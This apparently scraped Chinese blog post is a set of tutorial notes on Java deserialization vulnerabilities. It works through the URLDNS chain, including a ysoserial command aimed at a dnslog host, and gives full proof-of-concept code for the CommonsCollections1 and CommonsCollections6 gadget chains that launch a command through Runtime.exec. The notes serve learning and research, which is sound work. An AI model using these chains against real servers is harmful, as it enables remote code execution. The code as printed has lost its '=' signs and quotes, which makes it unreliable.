网站建设经典文章,海珠区建设和水务局网站,wordpress缩略图路径错误,网站建设行业努力都看不到效果文章目录 反序列化方法的对比PHP的反序列化Java的反序列化Python反序列化 URLDNS链利用链分析触发DNS请求 CommonCollections1利用链利用TransformedMap构造POC利用LazyMap构造POCCommonsCollections6 利用链 最近在学习Phith0n师傅的知识星球的Java安全漫谈系列#xff0c;随… 文章目录 反序列化方法的对比PHP的反序列化Java的反序列化Python反序列化 URLDNS链利用链分析触发DNS请求 CommonCollections1利用链利用TransformedMap构造POC利用LazyMap构造POCCommonsCollections6 利用链 最近在学习Phith0n师傅的知识星球的Java安全漫谈系列随手记下笔记 众所周知一门成熟的语言如果需要在网络上传递信息通常会用到一些格式化数据比如
JSONXML
JSON和XML是通用数据交互格式通常用于不同语言、不同环境下数据的交互比如前端JavaScript通过JSON和后端服务通信、微信服务通过XML和公众号服务器通信但这两个数据格式都不支持复杂的数据类型
大多数处理方法种JSON和XML支持的数据类型就是基本数据类型、整形、浮点型、字符串、布尔等如果开发者希望在数据传输的时候直接传输一个对象就需要想办法扩展基础的JSON、XML语法
比如Jackson和Fastjson这类序列化库在JSON、XML的基础上进行改造通过特定的语法来传递对象亦或者如RMI直接使用Java等语言内置的序列化方法将一个对象转换成一串字节流进行传输。无论是Jackson、Fastjson还是编程语言内置的序列化方法一旦涉及到序列化与反序列化数据就可能涉及到安全问题。
但首先要理解的是“反序列化漏洞”是对一类漏洞的泛指并不是专指某种反序列化方法导致的漏洞比如Jackson反序列化漏洞和Java readObject造成的反序列化漏洞就是完全不同的两种漏洞。
反序列化方法的对比
Java的反序列化和PHP的反序列化有点类似它们都是将一个对象中的属性按照某种特定的格式生成一段数据流在反序列化的时候再按照这个格式将属性拿回来再赋值给新的对象。 但Java相对PHP序列化更深入的地方在于其提供了更加高级、灵活地方法writeObject允许开发者将序列化数据流中插入一些自定义数据进而在反序列化的时候能够使用使用readObject进行提取。
当然PHP也提供了一个魔术方法__wakeup在反序列化的时候进行触发。很多人会认为Java的readObject和PHP的__wakeup类似但其实不全对虽然都是在反序列化的时候触发但他们解决的问题稍微有些差异。
Java设计readObject的思路和PHP的__wakeup不同点在于readObject倾向于解决反序列化时如何还原一个完整的对象而PHP的__wakeup更倾向于解决反序列化后如何初始化这个对象
PHP的反序列化
关于PHP反序列化可以看我的这篇文章由浅入深理解PHP反序列化漏洞
PHP的序列化是开发者不能参与的开发者调用serialize函数后序列化的数据就已经完成了得到的是一个完整的对象并不能在序列化数据流里新增某一个内容如果想插入新的内容只有将其保存在一个属性中也就是说PHP的序列化、反序列化是一个纯内部的过程而其__sleep、__wakeup魔术方法的目的就是在序列化、反序列化的前后执行一些操作。
含有资源类型的PHP类如数据库连接在PHP中资源类型的对象默认是不会写入序列化数据中的__wakeup的作用是在反序列化后执行一些初始化操作但是其实我们很少利用序列化数据传递资源类型的对象而其他类型的对象在反序列化的时候就已经赋予其值了。
所以你会发现PHP的反序列化漏洞很少是由__wakeup这个方法出发的通常触发在析构函数__destruct中大部分的PHP反序列化漏洞都并不是由反序列化导致的只是通过反序列化可以控制对象的属性进而在后续的代码中进行危险操作。
Java的反序列化
Java反序列化的操作很多是需要开发者深入参与的大量的库都会实现readObject、writeObject方法这和PHP中的__wakeup、__sleep很少使用是存在鲜明对比的。
Java在序列化一个对象时将会调用这个对象中的个writeObject方法参数类型是ObjectOutputStream开发者可以将任何内容写入这个流当中反序列化时会调用readObject开发者也可以从中读取前面写入的内容并进行处理。举个例子
package StudyUnserialiation;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;public class Person implements java.io.Serializable {public String name;public int age;public Person(String name, int age) {this.name name;this.age age;}private void writeObject(ObjectOutputStream s) throws Exception {s.defaultWriteObject();s.writeObject(This is Object);}private void readObject(ObjectInputStream s) throws Exception {s.defaultReadObject();s.readObject();String message (String) s.readObject();System.out.println(message);}Overridepublic String toString() {return Person{ name name \ , age age };}
}然后序列化这个类即可
package StudyUnserialiation;import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class Test {public static void main(String[] args) throws IOException {Person p new Person(mochu7, 22);ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(C:\\Users\\Administrator\\Downloads\\serialize_data));oos.writeObject(p);}
}将这段序列化数据提取出来编码成十六进制字符串然后用SerializationDumper查看序列化数据
PS D:\Tools\Web\Other python
Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 22:45:29) [MSC v.1916 32 bit (Intel)] on win32
Type help, copyright, credits or license for more information.with open(C:\\Users\Administrator\Downloads\serialize_data, rb) as f:
... print(bytes.hex(f.read()))
...
aced00057372001a5374756479556e73657269616c696174696f6e2e506572736f6ee41761c0bf3f16c20300024900036167654c00046e616d657400124c6a6176612f6c616e672f537472696e673b7870000000167400066d6f6368753774000e54686973206973204f626a65637478This is Object这串字符写入了objectAnnotation
package StudyUnserialiation;import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;public class Test1 {public static void main(String[] args) throws IOException, ClassNotFoundException {ObjectInputStream ois new ObjectInputStream(new FileInputStream(C:\\Users\\Administrator\\Downloads\\serialize_data));Person person (Person) ois.readObject();System.out.println(person);}
}反序列化时会读取这串字符并输出 这个特性就使得Java的开发变得非常灵活比如后面将会讲到的HashMap其实就是将Map中的所有键、值存储在objectAnnotation中而并不是某个具体属性里。
package StudyUnserialiation;import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;public class HashMapSerialize {public static void main(String[] args) {HashMapString, Integer map new HashMap();map.put(iPhone14 ProMax, 8849);map.put(Huawei Mate50Pro, 5969);map.put(xiaomi13, 4299);try {ObjectOutputStream oos new ObjectOutputStream(new FileOutputStream(C:\\Users\\Administrator\\Downloads\\serialize_data1));oos.writeObject(map);}catch (Exception e){e.printStackTrace();}}
}Python反序列化
Python反序列化和Java、PHP有个显著的区别就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机我们可以向栈上增删对象也可以执行一些指令比如函数的执行甚至可以用这个虚拟机执行一个完整的应用程序。
所以Python的反序列化可以立即导致任意函数、命令执行漏洞与需要gadget的PHP和Java相比更加危险。
从危害上看Python的反序列化危害是最大的从应用广度上来看Java的反序列化是最常被用到的从反序列化的原理上看PHP和Java是类似又不尽相同的。
URLDNS链
URLDNS是ysoserial中一个利用链的名字但准确的来说这个其实不能称作利用链。称为触发链可能更准确一点因为其参数不是一个可以“利用”的命令而仅为一个URL其能触发的结果也不是命令执行而是一次DNS请求。
虽然这个“利用链”实际上是不能“利用”的但因为其如下的优点非常适合我们在检测反序列化漏洞时使用
使用Java内置的类构造对第三方库没有依赖在目标没有回显的时候能够通过DNS请求得知是否存在反序列化漏洞
URLDNS链在ysoserial中的源码https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
SilentURLStreamHandler是ysoserial自定义的一个继承于URLStreamHandler子类其中重写了openConnection、getHostAddress方法将它们的返回置空避免在payload创建期间进行DNS解析。首先是实例化的SilentURLStreamHandler生成handler其次用handler与url生成一个URL对象然后使用HashMap将URL对象以及url放入其中。ysoserial会通过调用getObject方法获得Payload该Payload也就是Hashmap被序列化后的对象。
利用链分析
触发反序列化的方法是HashMap的readObject那么我们就先从HashMap类的readObject方法开始分析
HashMap类readObject方法源码jdk1.8.0_341:
根据ysoserial中的注释解释 During the put above, the URL’s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.是HashCode方法中的计算操作触发了DNS请求。 在readObject()方法中putVal()将传入的键名传给了hash() hash方法调用了key的hashCode() 传入的key是java.net.URL对象查看java.net.URL类的源码找到hashCode()方法handler是URLStreamHandler对象这里判断了hashCode是否!-1 如果(hashCode ! -1) true就不会调用handler.hashCode()这也就是URLDNS中要使用反射修改Java.net.URL的hashCode属性的原因Reflections.setFieldValue(u, hashCode, -1);如果这里不使用反射修改该类的属性这一步就无法到handler.hashCode()继续跟进这里handler的hashCode()方法。这里有调用getHostAddress()。 继续跟进getHostAddress(u) 再跟进 其中的InetAddress.getByName(host);就是对传入的主机名解析IP如果传入的是公网域名就会访问进行DNS请求解析IP。因此URLDNS利用链可以造成一次DNS请求。使用ysoserial生成URLDNS利用链的对象(Payload)然后反序列化触发该利用链造成一次DNS请求解析。
URLDNS利用链的完整GadgetHashMap-readObject()-hash()-URL.hashCode()-URLStreamHandler.hashCode()-getHostAddress()-InetAddress.getByName()
构造该Gadget需要初始化一个java.net.URL对象将其作为key存入HashMap的键名中然后使用反射修改这个URL类对象的hashCode()的值为-1使其在反序列化时会重新计算hashCode()进而触发之后的DNS请求而在初始化java.net.URL对象时为了防止生成该对象时也执行URL请求和DNS解析所以重写了一个子类(SilentURLStreamHandler)但这并不是必须的只是为了防止影响Dnslog平台查验。
触发DNS请求
接下来首先使用ysoserial生成payloadDNS测试平台就是用常用的DNSlog 注意Windows平台下请使用cmd来运行PS运行导出的序列化字节流数据格式有误 java -jar ysoserial-all.jar URLDNS http://ps4nzt.dnslog.cn urldns_payload然后反序列化调用readObject()触发即可 执行完之后Dnslog平台就可以查看到DNS请求
CommonCollections1利用链
Commons-Collections是Apache基金会开发的一个Java开源库提供了一组高效的数据结构和算法实现扩展了Java的集合框架使得用户更方便地处理集合数据该库还包含了大量的类和接口而Common-Collections利用链是Java反序列化漏洞研究中必不可少的一环。
首先来看个CC1链的小Demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) {Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc}),};Transformer transformerChain new ChainedTransformer(transformers);Map innerMap new HashMap();Map outerMap TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put(name, mochu7);}
}TransformedMap类 TransformedMap是Commons Collections中的一个类它实现了java.util.Map接口并允许用户指定一个转换函数来对Map中的元素进行转换。具体来说TransformedMap会将所有读取操作例如get、containsKey等传递给基础Map对象但在写入操作例如put、remove等时会先将键值对应用于指定的转换函数然后再执行写入操作。 这个转换函数是任何实现了org.apache.commons.collections4.Transformer接口的类因此就使得TransformedMap非常灵活可以方便地对Map中的元素进行转换。同时需要注意由于TransformedMap仅仅是一个包装器类所以它对基础Map对象的修改也会影响到原始的Map对象。 Transformer: Transformer只是一个接口它只有待实现的transform方法参数就是Object对象。
public interface Transformer {Object transform(Object var1);
}ConstantTransformer: ConstantTransformer是实现了Transformer接口的一个类在构造器接收一个对象然后在transform方法返回这个对象进行一个包装任意对象的处理。 InvokerTransformer: InvokerTransformer也是实现了Transformer接口的一个类有参构造器第一个参数是执行的方法名第二个参数是参数列表的类型第三个参数是参数列表然后回调transform方法使用反射执行了input对象的iMethodName方法。
Class cls input.getClass();
Method method cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);ChainedTransformer: ChainedTransformer也是实现了Transformer接口的类它将内部的所有Transformer连接在一起进行遍历将上一个回调返回的结果作为下一个回调的参数传入。
public ChainedTransformer(Transformer[] transformers) {this.iTransformers transformers;}public Object transform(Object object) {for(int i 0; i this.iTransformers.length; i) {object this.iTransformers[i].transform(object);}return object;}通过以上几个类的分析即可理解该Demo的原理首先新建了个Transformer数组用于存放两个Transformer第一个是ConstantTransformer这会直接返回传入的Runtime对象第二个是InvokerTransformer反射执行Runtime对象的exec方法参数是calc。再将这个Transformer数组传给ChainedTransformer通过回调会将Runtime的对象传给InvokerTransformer执行Runtime对象的exec方法。
但是这个transfomerChain只是回调要触发需要使用TransformedMap.decorate来包装然后使用put或remove来触发。 利用TransformedMap构造POC
上文探讨了Commons-Collections的Transformer并且使用了一个Demo作为例子在Demo中是以outerMap.put(name, mochu7)来触发漏洞但是在反序列化时是需要一个类。该类在反序列化时readObject方法有类似的写入处理就是sun.reflect.annotation.AnnotationInvocationHandler类核心源码(jdk8u66)
private void readObject(java.io.ObjectInputStream s){...MapString, Class? memberTypes annotationType.memberTypes();for (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) {Object value memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}}}memberValues就是经过了TransformedMap修饰的对象也是反序列化之后的Map然后遍历依次设置值调用setValue时会触发TransformedMap中的Transform进而进入到上文提到的利用链导致命令执行。因此构造POC时需要创建一个AnnotationInvocationHandler对象然后将上文的利用链中的HashMap传入并且这个AnnotationInvovationHandler是内置类不能直接使用常规方法获取对象因此这里使用反射获取构造方法然后强制访问再调用实例化。
Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);
Constructor construct c.getDeclaredConstructor(Class.class, Map.class);
Construct.setAccessible(true);
Object obj construct.newInstance(Retention.clas, outerMap);然后将整个过程梳理形成一个完整的链子尝试执行输出了以下报错 报的是不可序列化的错误而这里序列化的是ConstantTransformer中的Runtime.getRuntime()对象而Runtime是没有实现java.io.Serializeable接口的因此无法序列化。在前面的反射篇章中有介绍可以通过反射直接获取对象而不需要直接使用这个类。
Method f Runtime.class.getMethod(getRuntime);
Runtime r (Runtime) f.invoke(null);
r.exec(calc);使用这种方法反射的好处就是将原来没有实现序列化接口的Java.lang.Runtime类换成了Java.lang.Class对象而Java.lang.Class类对象是实现了Serializable接口的因此可以序列化。但是更换Transformer调用Runtime的方法之后还是无法执行命令。 查看AnnotationInvocationHandler类的反编译代码在readObject()方法下如果要进入setValue()触发构造的Transfomers有一个if(var7!null)的判断在这里下个断点动态调式查看运行后var7的值是否为null 回到AnnotationInvocationHandler的有参构造方法 可以看到要使得var1、var2的值不为nullAnnotationInvocationHandler的第一个参数必须是Annotation类型并且需要有一个方法,如果这个方法名为X那么被TransformedMap.decorate修饰的Map的键名也必须为X才能触发正是因为如此上文使用反射获取AnnotationInvocationHandler获取有参构造器生成对象时传入的第一个参数是Retention.class因为Retention中有一个value方法因此修改innerMap.put(value, mochu7);的键名也为value import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer(exec, new Class[]{String.class}, new String[]{calc}),};Transformer transformerChain new ChainedTransformer(transformers);Map innerMap new HashMap();innerMap.put(value, mochu7);Map outerMap TransformedMap.decorate(innerMap, null, transformerChain);Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor construct clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);Object obj construct.newInstance(Retention.class, outerMap);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(obj);oos.close();System.out.println(barr);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object) ois.readObject();}
}注意该方法只针对Jdk8u66的版本有效8u71开始Java官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject方法不再继续使用反序列化得到的Map对象而是新建了一个LinkedHashMap对象并将原来的键值添加进去。因此后续对Map的操作全都是基于这个新的LinkedHashMap对象不需要再使用构造的Ma执行set、put处理因此也就不会触发RCE了。
利用LazyMap构造POC
LazyMap和TransformedMap类似都来自于Apache Commons Collections库LazyMap是一个需要时动态生成值的映射表。它通过延迟来加载提高性能只有在首次访问时才会计算和存储值。LazyMap通常适用于处理大量数据的情况可以节省计算资源。TransformedMap是在写入元素的时候执行构造好的transforms而LazyMap是在它的get方法中执行factory.transform当寻找不到key值时会调用factory.transform获取一个值。 LazyMap利用比TransformedMap的利用过程稍微复杂一点TransformedMap是在AnntationInvocationHandler的readObject方法中就有setValue会触发到构造好的transforms而readObject中并没有调用到Map的get方法。但是AnnotationInvocationHandler类的invoke方法有调用到get方法 那么下一步就是想办法调用到AnnotationInvocationHandler下的invoke方法想要劫持对象内部的方法调用最合适不过的是使用Java的动态代理中的对象代理。
Map proxyMap (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);第一个参数是ClassLoader使用默认的即可第二个参数是代理的对象集合第三个参数是实现了InvocationHandler接口的对象是代理对象的核心处理程序。 编写一个ExampleInvocationHandler类重写invoke方法它的作用是当检测到该对象调用了get方法就返回一串字符。
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;public class ExampleInvocationHandler implements InvocationHandler {protected Map map;public ExampleInvocationHandler(Map map) {this.map map;}Overridepublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {if(method.getName().compareTo(get) 0) {System.out.println(Hook Method: method.getName());return Hacked Object;}return method.invoke(this.map, args);}
}然后在外部调用ExampleInvocationHandler存入一组数据然后get获取
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class Test {public static void main(String[] args) {InvocationHandler handler new ExampleInvocationHandler(new HashMap());Map proxyMap (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);proxyMap.put(name, mochu7);String result (String) proxyMap.get(name);System.out.println(result);}
}而如果对sun.reflect.annotation.AnnotationInvocationHandler类的对象用Proxy代理在readObject时只要调用任何一个方法就会触发进入到AnnotationInvocationHandler的invoke方法最后触发LazyMap的get方法。
因此LazyMap的利用链的构造过程就产生了在原有的TransformedMap的POC的基础进行修改首先将原来的TransformedMap替换为LazyMap然后对sun.reflect.annotation.AnnotationInvocationHandler类的对象进行代理。
Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);
Constructor construct clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);代理之后还不能直接序列化因为利用链的入口点在sun.reflect.annotation.AnnotationInvocationHandler的readObject()因此还需要使用AnnotationInvocationHandler对proxyMap进行处理。
handler (InvocationHandler) construct.newInstance(Retention.class, proxyMap);最终构造如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer(exec, new Class[]{String.class}, new String[]{calc}),};Transformer transformerChain new ChainedTransformer(transformers);Map innerMap new HashMap();Map outerMap LazyMap.decorate(innerMap, transformerChain);Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor construct clazz.getDeclaredConstructor(Class.class, Map.class);construct.setAccessible(true);InvocationHandler handler (InvocationHandler) construct.newInstance(Retention.class, outerMap);Map proxyMap (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);handler (InvocationHandler) construct.newInstance(Retention.class, proxyMap);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(handler);oos.close();System.out.println(barr);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object) ois.readObject();}
} CommonsCollections6 利用链
上文详细分析了LazyMap的利用链并构造了POC但是LazyMap的利用链仍然无法解决CommonCollections1的利用链在高版本的Java(jdk8u71)中无法使用的问题。CommonsCollections6在jdk7、8的高版本中的利用链是比较通用的利用链。 以下是这条链的利用过程
java.io.ObjectInputStream.readObject() - java.util.HashMap.readObject() -
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() -
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() -
org.apache.commons.collections.map.LazyMap.get() -
org.apache.commmons.collections.functors.ChainedTransformer.transform() -
org.apache.commons.collections.functors.InvokerTransformer.transform() -
java.lang.reflect.Method.invoke() - java.lang.Runtime.exec()从LazyMap.get()到Runtime.exec()上文已经详细分析过了因此要解决在Java高版本中的利用问题就需要寻找还有哪些地方调用了LazyMap.get()这个方法可以看到org.apache.commons.collections.keyvalue.TiedMapEntry中的getValue()调用了this.map.get()并且在hashCode()中调用了getValue() 继续追踪哪里调用了TiedMapEntry.hashCode()也就是追踪哪里调用了HashMap.hash()在HashMap.readObject()中可以看到调用了hash(key) 而在hash()方法中调用了key.hashCode()因此只需要将TiedMapEntry对象赋值给这里的key既可组成一个完整的Gadget。构造LazyMap包装transformerChain成outerMap然后将其作为TiedMapEntry的map属性。
Transformer[] fakeTransformers new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain new ChainedTransformer(fakeTransformers);
Map innerMap new HashMap();
Map outerMap LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, MyKey);这里为了避免本地调试触发命令执行构造LazyMap使用的是一个普通的Transformers对象必要时需要Payload再把真正的Transformers放进去。接下来为了调用TiedMapEntry.hashCode()将tiedMapEntry对象作为HashMap的key存入一个新的HashMap。最后将这个新的HashMap对象序列化即可在此之前需要通过反射将真正的Transformers数组对象。
Map myMap new HashMap();
myMap.put(tiedMapEntry, MyValue);
Field field ChainedTransformer.class.getDeclaredField(iTransformers);
field.setAccessible(true);
field.set(tramformerChain, transformers);运行之后并没有执行命令单步调试查看问题发现问题在LazyMap.get()方法中 有个if会判断Map中是否有key如果否才进入到触发Transformers数组对象的步骤在创建TiedMapEntry时放入了一个MyKey但是TiedMapEntry并不会修改outerMap关键问题就出在myMap.put(tiedMapEntry, MyValue)HashMap.put()方法中也有hash(key)的操作。导致LazyMap的利用链提前被调用了一次所以需要对outerMap的key值进行remove处理outerMap.remove(MyKey)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.keyvalue.TiedMapEntry;public class CommonsCollections1 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer(exec, new Class[]{String.class}, new String[]{calc}),new ConstantTransformer(1),};Transformer transformerChain new ChainedTransformer(fakeTransformers);Map innerMap new HashMap();Map outerMap LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tiedMapEntry new TiedMapEntry(outerMap, MyKey);Map myMap new HashMap();myMap.put(tiedMapEntry, MyValue);outerMap.remove(MyKey);Field field ChainedTransformer.class.getDeclaredField(iTransformers);field.setAccessible(true);field.set(transformerChain, transformers);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(barr);oos.writeObject(myMap);oos.close();System.out.println(barr);ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o (Object) ois.readObject();}
}这个利用链可以在Java7和8高版本触发没有版本限制